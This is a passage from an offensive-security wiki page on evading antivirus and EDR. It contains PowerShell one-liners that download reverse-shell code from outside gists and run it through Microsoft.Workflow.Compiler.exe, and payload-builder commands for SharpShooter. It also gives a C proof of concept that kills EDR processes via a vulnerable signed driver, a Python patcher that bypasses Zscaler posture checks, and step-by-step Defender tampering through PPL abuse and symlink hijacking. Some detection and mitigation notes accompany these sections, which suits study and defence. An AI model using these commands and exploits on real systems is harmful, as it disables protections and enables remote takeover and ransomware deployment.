(!String.IsNullOrEmpty(outLine.Data)) { try { strOutput.Append(outLine.Data); streamWriter.WriteLine(strOutput); streamWriter.Flush(); } catch (Exception err) { } } } } } ``` ### C# using compiler ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt ``` [REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066) [REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639) Automatic download and execution: ```csharp 64bit: powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell 32bit: powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell ``` {{#ref}} https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f {{#endref}} C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) ### C++ ``` sudo apt-get install mingw-w64 i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc ``` - [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp) - [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/) - [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf) - [https://github.com/l0ss/Grouper2](ps://github.com/l0ss/Group) - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) ### Using python for build injectors example: - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo) ### Other tools ```bash # Veil Framework: https://github.com/Veil-Framework/Veil # Shellter https://www.shellterproject.com/download/ # Sharpshooter # https://github.com/mdsecactivebreach/SharpShooter # Javascript Payload Stageless: SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3 # Stageless HTA Payload: SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee # Staged VBS: SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4 # Donut: https://github.com/TheWover/donut # Vulcan https://github.com/praetorian-code/vulcan ``` ### More - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) ## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space Storm-2603 leveraged a tiny console utility known as **Antivirus Terminator** to disable endpoint protections before dropping ransomware. The tool brings its **own vulnerable but *signed* driver** and abuses it to issue privileged kernel operations that even Protected-Process-Light (PPL) AV services cannot block. Key take-aways 1. **Signed driver**: The file delivered to disk is `ServiceMouse.sys`, but the binary is the legitimately signed driver `AToolsKrnl64.sys` from Antiy Labs’ “System In-Depth Analysis Toolkit”. Because the driver bears a valid Microsoft signature it loads even when Driver-Signature-Enforcement (DSE) is enabled. 2. **Service installation**: ```powershell sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys" sc start ServiceMouse ``` The first line registers the driver as a **kernel service** and the second one starts it so that `\\.\ServiceMouse` becomes accessible from user land. 3. **IOCTLs exposed by the driver** | IOCTL code | Capability | |-----------:|-----------------------------------------| | `0x99000050` | Terminate an arbitrary process by PID (used to kill Defender/EDR services) | | `0x990000D0` | Delete an arbitrary file on disk | | `0x990001D0` | Unload the driver and remove the service | Minimal C proof-of-concept: ```c #include int main(int argc, char **argv){ DWORD pid = strtoul(argv[1], NULL, 10); HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL); CloseHandle(hDrv); return 0; } ``` 4. **Why it works**: BYOVD skips user-mode protections entirely; code that executes in the kernel can open *protected* processes, terminate them, or tamper with kernel objects irrespective of PPL/PP, ELAM or other hardening features. Detection / Mitigation • Enable Microsoft’s vulnerable-driver block list (`HVCI`, `Smart App Control`) so Windows refuses to load `AToolsKrnl64.sys`. • Monitor creations of new *kernel* services and alert when a driver is loaded from a world-writable directory or not present on the allow-list. • Watch for user-mode handles to custom device objects followed by suspicious `DeviceIoControl` calls. ### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching Zscaler’s **Client Connector** applies device-posture rules locally and relies on Windows RPC to communicate the results to other components. Two weak design choices make a full bypass possible: 1. Posture evaluation happens **entirely client-side** (a boolean is sent to the server). 2. Internal RPC endpoints only validate that the connecting executable is **signed by Zscaler** (via `WinVerifyTrust`). By **patching four signed binaries on disk** both mechanisms can be neutralised: | Binary | Original logic patched | Result | |--------|------------------------|---------| | `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Always returns `1` so every check is compliant | | `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ any (even unsigned) process can bind to the RPC pipes | | `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Replaced by `mov eax,1 ; ret` | | `ZSATunnel.exe` | Integrity checks on the tunnel | Short-circuited | Minimal patcher excerpt: ```python pattern = bytes.fromhex("44 89 AC 24 80 02 00 00") replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1 with open("ZSATrayManager.exe", "r+b") as f: data = f.read() off = data.find(pattern) if off == -1: print("pattern not found") else: f.seek(off) f.write(replacement) ``` After replacing the original files and restarting the service stack: * **All** posture checks display **green/compliant**. * Unsigned or modified binaries can open the named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`). * The compromised host gains unrestricted access to the internal network defined by the Zscaler policies. This case study demonstrates how purely client-side trust decisions and simple signature checks can be defeated with a few byte patches. ## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs Protected Process Light (PPL) enforces a signer/level hierarchy so that only equal-or-higher protected processes can tamper with each other. Offensively, if you can legitimately launch a PPL-enabled binary and control its arguments, you can convert benign functionality (e.g., logging) into a constrained, PPL-backed write primitive against protected directories used by AV/EDR. What makes a process run as PPL - The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU. - The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`. - A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation. See also a broader intro to PP/PPL and LSASS protection here: {{#ref}} stealing-credentials/credentials-protections.md {{#endref}} Launcher tooling - Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE): - [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL) - Usage pattern: ```text CreateProcessAsPPL.exe [args...] # example: spawn a Windows-signed component at PPL level 1 (Windows) CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe # example: spawn an anti-malware signed component at level 3 CreateProcessAsPPL.exe 3 ``` LOLBIN primitive: ClipUp.exe - The signed system binary `C:\Windows\System32\ClipUp.exe` self-spawns and accepts a parameter to write a log file to a caller-specified path. - When launched as a PPL process, the file write occurs with PPL backing. - ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations. 8.3 short path helpers - List short names: `dir /x` in each parent directory. - Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA` Abuse chain (abstract) 1) Launch the PPL-capable LOLBIN (ClipUp) with `CREATE_PROTECTED_PROCESS` using a launcher (e.g., CreateProcessAsPPL). 2) Pass the ClipUp log-path argument to force a file creation in a protected AV directory (e.g., Defender Platform). Use 8.3 short names if needed. 3) If the target binary is normally open/locked by the AV while running (e.g., MsMpEng.exe), schedule the write at boot before the AV starts by installing an auto-start service that reliably runs earlier. Validate boot ordering with Process Monitor (boot logging). 4) On reboot the PPL-backed write happens before the AV locks its binaries, corrupting the target file and preventing startup. Example invocation (paths redacted/shortened for safety): ```text # Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\\samplew.dll ``` Notes and constraints - You cannot control the contents ClipUp writes beyond placement; the primitive is suited to corruption rather than precise content injection. - Requires local admin/SYSTEM to install/start a service and a reboot window. - Timing is critical: the target must not be open; boot-time execution avoids file locks. Detections - Process creation of `ClipUp.exe` with unusual arguments, especially parented by non-standard launchers, around boot. - New services configured to auto-start suspicious binaries and consistently starting before Defender/AV. Investigate service creation/modification prior to Defender startup failures. - File integrity monitoring on Defender binaries/Platform directories; unexpected file creations/modifications by processes with protected-process flags. - ETW/EDR telemetry: look for processes created with `CREATE_PROTECTED_PROCESS` and anomalous PPL level usage by non-AV binaries. Mitigations - WDAC/Code Integrity: restrict which signed binaries may run as PPL and under which parents; block ClipUp invocation outside legitimate contexts. - Service hygiene: restrict creation/modification of auto-start services and monitor start-order manipulation. - Ensure Defender tamper protection and early-launch protections are enabled; investigate startup errors indicating binary corruption. - Consider disabling 8.3 short-name generation on volumes hosting security tooling if compatible with your environment (test thoroughly). References for PPL and tooling - Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes - EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88 - Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon - CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL - Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html ## Tampering Microsoft Defender via Platform Version Folder Symlink Hijack Windows Defender chooses the platform it runs from by enumerating subfolders under: - `C:\ProgramData\Microsoft\Windows Defender\Platform\` It selects the subfolder with the highest lexicographic version string (e.g., `4.18.25070.5-0`), then starts the Defender service processes from there (updating service/registry paths accordingly). This selection trusts directory entries including directory reparse points (symlinks). An administrator can leverage this to redirect Defender to an attacker-writable path and achieve DLL sideloading or service disruption. Preconditions - Local Administrator (needed to create directories/symlinks under the Platform folder) - Ability to reboot or trigger Defender platform re-selection (service restart on boot) - Only built-in tools required (mklink) Why it works - Defender blocks writes in its own folders, but its platform selection trusts directory entries and picks the lexicographically highest version without validating that the target resolves to a protected/trusted path. Step-by-step (example) 1) Prepare a writable clone of the current platform folder, e.g. `C:\TMP\AV`: ```cmd set SRC="C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0" set DST="C:\TMP\AV" robocopy %SRC% %DST% /MIR ``` 2) Create a higher-version directory symlink inside Platform pointing to your folder: ```cmd mklink /D "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" "C:\TMP\AV" ``` 3) Trigger selection (reboot recommended): ```cmd shutdown /r /t 0 ``` 4) Verify MsMpEng.exe (WinDefend) runs from the redirected path: ```powershell Get-Process MsMpEng | Select-Object Id,Path # or wmic process where name='MsMpEng.exe' get ProcessId,ExecutablePath ``` You should observe the new process path under `C:\TMP\AV\` and the service configuration/registry reflecting that location. Post-exploitation options - DLL sideloading/code execution: Drop/replace DLLs that Defender loads from its application directory to execute code in Defender’s processes. See the section above: [DLL Sideloading & Proxying](#dll-sideloading--proxying). - Service kill/denial: Remove the version-symlink so on next start the configured path doesn’t resolve and Defender fails to start: ```cmd rmdir "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" ``` > [!TIP] > Note that This technique does not provide privilege escalation by itself; it requires admin rights. ## References - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/) - [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) - [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) - [Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/) - [Windows 11 Forwarded Exports Inventory (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt) - [Microsoft Docs – Known DLLs](https://learn.microsoft.com/windows/win32/dlls/known-dlls) - [Microsoft – Protected Processes](https://learn.microsoft.com/windows/win32/procthread/protected-processes) - [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88) - [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon) - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) - [Zero Salarium – Break The Protective Shell Of Windows Defender With The Folder Redirect Technique](https://www.zerosalarium.com/2025/09/Break-Protective-Shell-Windows-Defender-Folder-Redirect-Technique-Symlink.html) - [Microsoft – mklink command reference](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink) - [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/) {{#include ../banners/hacktricks-training.md}}